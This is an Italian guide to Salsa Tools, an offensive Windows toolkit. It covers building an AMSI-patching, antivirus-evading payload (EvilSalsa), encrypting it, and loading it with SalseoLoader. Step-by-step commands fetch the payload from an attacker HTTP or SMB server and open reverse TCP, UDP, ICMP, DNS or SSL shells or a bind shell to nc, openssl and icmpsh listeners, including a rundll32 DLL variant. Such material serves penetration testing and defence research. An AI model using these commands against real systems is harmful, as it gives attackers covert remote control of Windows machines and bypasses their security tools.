
Salsa Tools - ShellReverse TCP/UDP/ICMP/DNS/SSL/BINDTCP/Shellcode/SILENTTRINITY e bypass AV, AMSI patchato
_____ __ ______ __
/ ___/____ _/ /________ _ /_ __/___ ____ / /____
\__ \/ __ `/ / ___/ __ `/ / / / __ \/ __ \/ / ___/
___/ / /_/ / (__ ) /_/ / / / / /_/ / /_/ / (__ )
/____/\__,_/_/____/\__,_/ /_/ \____/\____/_/____/
Salsa Tools è una collezione di tre diversi strumenti che, combinati, permettono di ottenere una reverse shell potenziata in qualsiasi ambiente Windows senza nemmeno aver bisogno di PowerShell per la sua esecuzione. Per evitare le più recenti tecniche di rilevamento (AMSI), la maggior parte dei componenti è stata inizialmente scritta in C#. Salsa Tools è stato rilasciato pubblicamente da Luis Vacas durante il suo talk “Inmersión en la explotación tiene rima” che si è tenuto durante l'h-c0n il 9 febbraio 2019.
* TCP/UDP/ICMP/DNS/BIND/SSL/Shellcode/SilentTrinity
* AV Safe (17 febbraio)
* Patcher AMSI
* Esecuzione PowerShell
* ...
Salsa-Tools è composto da tre diversi ingredienti: - EvilSalsa - EncrypterAssembly - SalseoLoader E il suo comportamento è il seguente:
___ __ __ ____ _
/ _] | || || |
/ [_| | | | | | |
| _] | | | | | |___
| [_| : | | | | |
| |\ / | | | |
|_____| \_/ |____||_____|
_____ ____ _ _____ ____
/ ___/ / || | / ___/ / |
( \_ | o || | ( \_ | o |
\__ || || |___\__ || |
/ \ || _ || / \ || _ |
\ || | || \ || | |
\___||__|__||_____|\___||__|__|
[+] Questo è il nostro Payload
EvilSalsa è l'ingrediente chiave di questa ricetta. Contiene il payload, che viene eseguito sul sistema come segue: appena il payload parte, esegue System.Management.Automation.dll che crea un runspace. All'interno di quel runspace abbiamo quattro tipi di shell (TCP / UDP / ICMP / DNS / BINDTCP / SHELLCODE / SILENTTRINITY). Una volta caricato EvilSalsa, la prima cosa che fa è controllare l'esistenza di c:\windows\system32\amsi.dll. Se esiste, viene patchato utilizzando una variante fatta in casa dei bypass di CyberArk e Rastamouse.
______ _
| ____| | |
| |__ _ __ ___ _ __ _ _ _ __ | |_ ___ _ __
| __| | '_ \ / __| '__| | | | '_ \| __/ _ \ '__|
| |____| | | | (__| | | |_| | |_) | || __/ |
|______|_| |_|\___|_| \__, | .__/ \__\___|_|
/\ __/ | || | | |
/ \ ___ ___ ___ _|___/|_|| |__ | |_ _
/ /\ \ / __/ __|/ _ \ '_ ` _ \| '_ \| | | | |
/ ____ \\__ \__ \ __/ | | | | | |_) | | |_| |
/_/ \_\___/___/\___|_| |_| |_|_.__/|_|\__, |
__/ |
|___/
[+] Software che critta il payload usando RC4
[+] Abbiamo la versione in Python e la versione in .exe
EncrypterAssembly può essere usato come script Python o come binario Exe. Cripta il EvilSalsa generato in precedenza.
Utilizzo Python:
python encrypterassembly.py <FILE> <PASSWORD> <OUTPUT>
Utilizzo eseguibile:
Encrypterassembly.exe <FILE> <PASSWORD> <OUTPUT>
SalseoLoader è incaricato di caricare il payload crittato. Può essere compilato sia come libreria che come eseguibile. Se viene eseguito come eseguibile, gli argomenti scelti devono essere forniti al momento dell'esecuzione. Se viene compilato come libreria, il descrittore "main" deve essere esportato. Gli argomenti vengono aggiunti tramite variabili d'ambiente.
_____ ____ _ _____ ___ ___
/ ___/ / || | / ___/ / _] / \
( \_ | o || | ( \_ / [_ | |
\__ || || |___\__ || _]| O |
/ \ || _ || / \ || [_ | |
\ || | || \ || || |
\___||__|__||_____|\___||_____| \___/
_ ___ ____ ___ ___ ____
| | / \ / || \ / _]| \
| | | || o || \ / [_ | D )
| |___ | O || || D || _]| /
| || || _ || || [_ | \
| || || | || || || . \
|_____| \___/ |__|__||_____||_____||__|\_|
By: CyberVaca@HackPlayers
[+] Utilizzo:
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt ReverseTCP LHOST LPORT
[-] SalseoLoader.exe password \\smbserver.com\evil\elfuckingmal.txt ReverseUDP LHOST LPORT
[-] SalseoLoader.exe password c:\temp\elfuckingmal.txt ReverseICMP LHOST
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt ReverseDNS LHOST ServerDNS
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt BindTCP LHOST LPORT
[-] SalseoLoader.exe password c:\temp\elfuckingmal.txt ReverseSSL LHOST LPORT
[-] SalseoLoader.exe password http://webserver.com/shellcode.txt shellcode
[-] SalseoLoader.exe password http://webserver.com/silent.txt silenttrinity URL_C2C
[+] Payload disponibili:
[-] ReverseTCP [-] ReverseDNS [-] ReverseSSL [-] Shellcode
[-] ReverseUDP [-] ReverseICMP [-] BindTCP [-] SilentTrinity
Scarica il codice sorgente da GitHub e compila EvilSalsa e SalseoLoader. Avrai bisogno di Visual Studio installato per compilare il codice.
Compila questi progetti per l'architettura della macchina Windows in cui li utilizzerai (se Windows supporta x64, compilali per quell'architettura).
Puoi selezionare l'architettura all'interno di Visual Studio nella scheda "Build" a sinistra, in "Platform Target".
(Se non riesci a trovare queste opzioni, premi su "Project Tab" e poi su " Properties")

Poi, costruisci entrambi i progetti (Build -> Build Solution) (nei log apparirà il percorso dell'eseguibile):

Prima di tutto, dovrai codificare la EvilSalsa.dll. Per farlo, puoi usare lo script Python encrypterassembly.py o compilare il progetto EncrypterAssembly.
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <FILE_OUTPUT>
python EncrypterAssembly/encrypterassembly.py EvilSalsa.dll password evilsalsa.dll.txt
EncrypterAssembly.exe <FILE> <PASSWORD> <FILE_OUTPUT>
EncrypterAssembly.exe EvilSalsa.dll password evilsalsa.dll.txt
Ok, ora hai tutto ciò che ti serve per eseguire tutta la faccenda del Salseo: la EvilSalsa.dll codificata e il binario di SalseoLoader. Carica il binario SalseoLoader.exe sulla macchina. Non dovrebbe essere rilevato da nessun AV...
Ricorda di avviare un nc come listener per la reverse shell e un server HTTP per servire la evilsalsa codificata.
SalseoLoader.exe password http://<IP-Attaccante>/evilsalsa.dll.txt reversetcp <IP-Attaccante> <Porta>
Ricorda di avviare un nc come listener per la reverse shell e un server SMB per servire la evilsalsa codificata (impacket-smbserver).
SalseoLoader.exe password \\<IP-Attaccante>/folder/evilsalsa.dll.txt reverseudp <IP-Attaccante> <Porta>
Imposta il listener sulla macchina attaccante:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -key key.pem -cert cert.pem -port <porta> -tls1
Esegui la backdoor:
SalseoLoader.exe password C:/path/to/evilsalsa.dll.txt ReverseSSL <IP-Attaccante> <Porta>
Questa volta hai bisogno di uno strumento speciale sul client per ricevere la reverse shell. Scarica: [https://github.com/inquisb/icmpsh]
Disabilita le risposte ICMP:
#Al termine, puoi riabilitarle eseguendo:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
Esegui il client:
python icmpsh_m.py "<IP-Attaccante>" "<IP-Vittima>"
Sulla vittima, esegui il salseo:
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <IP-Attaccante>
Apri il progetto SalseoLoader usando Visual Studio.
Prima della funzione main aggiungi questa riga: [DllExport]

Tools --> NuGet Package Manager --> Manage NuGet Packages for Solution...

Cerca il pacchetto DllExport (usando la scheda Browse), e premi Install (e accetta il popup)

Nella cartella del progetto sono comparsi i file: DllExport.bat e DllExport_Configure.bat
Premi Uninstall (sì, è strano ma fidati, è necessario)

Semplicemente esci da Visual Studio
Poi, vai alla cartella SalseoLoader ed esegui DllExport_Configure.bat Seleziona x64 (se lo utilizzerai su una macchina x64, era il mio caso), seleziona System.Runtime.InteropServices (dentro Namespace for DllExport) e premi Apply

[DllExport] non dovrebbe più essere segnato come errore

Seleziona Output Type = Class Library (Project --> SalseoLoader Properties --> Application --> Output type = Class Library)

Seleziona piattaforma x64 (Project --> SalseoLoader Properties --> Build --> Platform target = x64)

Per compilare la soluzione: Build --> Build Solution (nella console di Output apparirà il percorso della nuova DLL)
Copia e incolla la DLL dove vuoi testarla.
Esegui:
rundll32.exe SalseoLoader.dll,main
Se non appare alcun errore, probabilmente hai una DLL funzionante!!
Non dimenticare di usare un server HTTP e impostare un listener nc.
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
Documentato da https://github.com/carlospolop-forks/